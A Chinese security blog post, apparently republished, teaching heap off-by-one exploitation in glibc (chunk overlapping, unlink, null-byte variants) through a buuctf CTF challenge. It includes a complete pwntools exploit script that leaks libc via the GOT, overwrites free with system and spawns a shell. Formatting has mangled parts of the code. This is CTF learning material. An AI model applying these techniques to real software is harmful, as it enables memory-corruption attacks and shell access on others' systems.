原创 | 堆的off-by-one利用

admin 2021年10月27日21:52:35评论80 views字数 4521阅读15分4秒阅读模式
原创 | 堆的off-by-one利用
点击上方蓝字 关注我吧


原创 | 堆的off-by-one利用
off-by-one介绍
原创 | 堆的off-by-one利用


off-by-one在缓冲区溢出中有时出现,CTF比赛中常出现在堆中,有时栈也会有off-by-one的漏洞。

关于栈的off-by-one漏洞可以看一下:

https://www.anquanke.com/post/id/183873,作者写的关于栈的off-by-one利用很容易理解。


简介


堆利用中的off-by-one属于堆溢出(off-by-one也会出现在栈、bss上)的一种特殊情况,它只溢出一个字节,而正巧通过这溢出的一个字节即可完成下一个chunk header的修改。

造成off-by-one的原因除了程序员设计时不严谨外还有错误使用函数。


产生原因


off-by-one常见的产生原因有两种:

1、程序循环时不小心多循环了一次,如我们只想程序循环输入16次,利用for循环正确的做法应该是for(int i=0;i<16;i++),而有时会写成for(int i;i<=16;i++)机会导致多输入一个字节,此时的输入可能是我们可控的任意字节。

2、在使用strlen()函数计算字符串长度时不会将'x00'计算在内,后边如果使用strcpy()函数复制字符串,strcpy()会使复制的字符串最后加上一个'x00',此时的输入为'x00',不可控但也能利用。


利用思路


产生原因中我们提到了两种溢出,第一种输入的字节可控,第二种不可控。

如果输入可控我们可以直接对chunk的最低字节进行溢出修改完成chunk overlapping的目的,不可控我们也能利用chunk的size最低位代表前一个chunk是否正在使用的作用来触发unlink。

详细分类的话:

off-by-one overwrite allocated、off-by-one overwrite freed、null byte off-by-one能够利用chunk overlapping。

off-by-one small bin、off-by-one large bin能够利用unlink。

关于不可控的字节溢出为'x00'时要注意一点,因为chunk的内存分配问题,有时chunk分配内存时可能会因为堆字节对齐导致少分配一部分内存。

缺少的内存用后面chunk的prev_size代替,这时的'x00'就无法覆盖下一个size的inuse位,也就无法伪造当前chunk释放的假象无法使用unlink。


off-by-one overwrite allocated


原创 | 堆的off-by-one利用


off-by-one overwrite allocated是像上图结构这样先申请3个chunk,chunk1是off-by-one产生的chunk。

通过chunk1溢出chunk2的size,将chunk2的size大小改为chunk2_size+chunk3_sizie(注意不要使inuse为1,否则会因为chunk1触发unlink导致崩溃),然后free chunk2。

这时因为chunk2的size被修改为chunk2和chunk3的size之和,再次申请一个size大小为chunk2和chunk3的size之和的chunk4,此时的chunk4正好包含chunk2和chunk3,这时我们同时控制了 两个chunk3。


off-by-one overwrite freed


原创 | 堆的off-by-one利用


off-by-one overwrite freed与off-by-one overwrite allocated步骤类似,也是通过chunk1修改chunk2的size完成控制chunk3的目的,在chunk2 free时被修改size后直接申请chunk4即可。


null byte off-by-one


原创 | 堆的off-by-one利用


off-by-one null byte较为复杂,它是通过chunk1修改chunk2的inuse位伪造chunk1被free的假象,然后申请不属于fast bin的chunk1-1和chunk1-2。

此时的chunk1-1和chunk1-2都在之前的chunk1中,然后free chunk1,再申请和chunk1 size大小相同的chunk3。

此时的chunk3就是之前的chunk1,现在chunk3和chunk1-2指向相同的内存区域。


off-by-one small bin


原创 | 堆的off-by-one利用


通过chunk1溢出的‘x00’将chunk2的inuse位修改,再修改chunk2的prev_size,然后提前在chunk1中布置好fake_chunk,free chunk2就会触发unlink。


off-by-one large bin


原创 | 堆的off-by-one利用


与off-by-one small bin类似。


原创 | 堆的off-by-one利用
off-by-one例题
原创 | 堆的off-by-one利用


这里我们拿buuctf上的一道堆题heapcreator说一下off-by-one的使用。


检查保护


原创 | 堆的off-by-one利用


没开PIE。


运行查看


原创 | 堆的off-by-one利用


简洁的菜单题,有创建,编辑,打印和删除的功能


程序分析


ida反汇编:

main函数:

原创 | 堆的off-by-one利用


main函数选择进入不同函数。


create函数:


原创 | 堆的off-by-one利用


程序自己创建的0x10大小的heaparray chunk指针保存用户创建的chunk指针和大小。

edit函数:

原创 | 堆的off-by-one利用

第19行那里存在off-by-one漏洞,可以溢出一个字节。

show函数:

原创 | 堆的off-by-one利用


可以打印输入的信息,用这个函数打印libc地址等。

delete函数:

原创 | 堆的off-by-one利用


先free用户自定义的chunk,再free程序自定义的0x10大小的chunk。


思路与利用:


上面就一个off-by-one的漏洞,因为堆的内存可以复用,那么我们在构造堆时就构造好能够跳过prev_size的堆直接溢出size。


我们申请2个chunk,第一个chunk0大小为0x18(为了使堆的字节不对齐后面复用chunk1的prev_size覆盖chunk1的size),第二个chunk2大小为0x10。


通过off-by-one覆盖chunk1的size导致chunk overlapping能够控制一个chunk的指针,再通过控制的chunk的指针泄露libc地址,得到后libc基址后得到system_got。


再利用前面控制的那个chunk指针覆盖一个got执行system(“/bin/sh”)即可getshell。


具体步骤:

创建两个chunk并修改chunk1的size:
create(0x18,"aaaa"#chunk0create(0x10,"bbbb"#chunk1edit(0, "/bin/shx00" +"a"*0x10 + "x41")

写入的/bin/shx00后面我们可以直接使用。

正常创建没有溢出的chunk结构:


原创 | 堆的off-by-one利用


红色框内的是chunk0,蓝色框内的是chunk1,每个框内的第一个0x21都是程序自己创建的0x10大小保存用户创建chunk的chunk,正好复用的prev_size能够溢出下一个chunk的size。

这是溢出之后伪造的chunk结构:


原创 | 堆的off-by-one利用


伪造后chunk内存布局(这里我将''/bin/sh''替换成了aaaaaaaa)

如上,这时free chunk1就能伪造从0x6032e0处开始的一个0x40大小的chunk,free chunk1后就会使用户定义的chunk1和程序自己定义的0x10大小的chunk重叠。
delete(1)create(0x30,p64(0)*4 +p64(0x30) + p64(free_got))


free chunk1造成chunk overlapping后再申请一个0x30大小的chunk即可同时控制现在申请的chunk1和后面程序定义的chunk。

新申请的chunk1从0x6032b0处开始,chunk1程序自定义的chunk从0x6032f0开始。

这时我们就能控制0x603300处的指针了,之前已经将free_got的地址写入新创建的chunk1中了,后面泄露free_got地址。

这是重新申请后的chunk结构:

原创 | 堆的off-by-one利用


再通过新创建的chunk1打印free_got的地址:
show(1)p.recvuntil("Content : ")data = p.recvuntil("Done !")
free_addr = u64(data.split("n")[0].ljust(8,"x00"))libc = free_addr - 0x83940print "libc:",hex(libc)system = libc + 0x45390


最后用system_got的地址覆盖free_got中的内容即可:
edit(1,p64(system))delete(0)p.interactive()


exp

from pwn importfrom LibcSearcher import *p=remote('node3.buuoj.cn',27304)def create(size,content):p.recvuntil(":")p.sendline("1")p.recvuntil(":")p.sendline(str(size))p.recvuntil(":")p.sendline(content)def edit(idx,content):p.recvuntil(":")p.sendline("2")p.recvuntil(":")p.sendline(str(idx))p.recvuntil(":")p.sendline(content)def show(idx):p.recvuntil(":")p.sendline("3")p.recvuntil(":")p.sendline(str(idx))def delete(idx):p.recvuntil(":")p.sendline("4")p.recvuntil(":")p.sendline(str(idx))free_got = 0x602018create(0x18,"aaaa")create(0x10,"bbbb")edit(0"/bin/shx00" +"a"*0x10 + "x41")delete(1)create(0x30,p64(0)*4 +p64(0x30) + p64(free_got))show(1)p.recvuntil("Content : "data = p.recvuntil("Done !")free_addr = u64(data.split("n")[0].ljust(8,"x00"))libc = free_addr - 0x83940system = libc + 0x45390edit(1,p64(system))delete(0)p.interactive()
ps:上面的def函数因为编辑问题没有对齐。

原创 | 堆的off-by-one利用
结语
原创 | 堆的off-by-one利用

堆题要多调试多构想,希望大佬能够斧正可能存在的错误及不足,谢谢。


原创 | 堆的off-by-one利用
参考
原创 | 堆的off-by-one利用

https://ctf-wiki.org/pwn/linux/glibc-heap/off_by_one/


相关推荐




vulnhub: Momentum:1
堆的unsorted bin attack利用
如何制作一个微型内核

原创 | 堆的off-by-one利用
你要的分享、在看与点赞都在这儿~

本文始发于微信公众号(SecIN技术平台):原创 | 堆的off-by-one利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月27日21:52:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创 | 堆的off-by-one利用http://cn-sec.com/archives/395638.html

发表评论

匿名网友 填写信息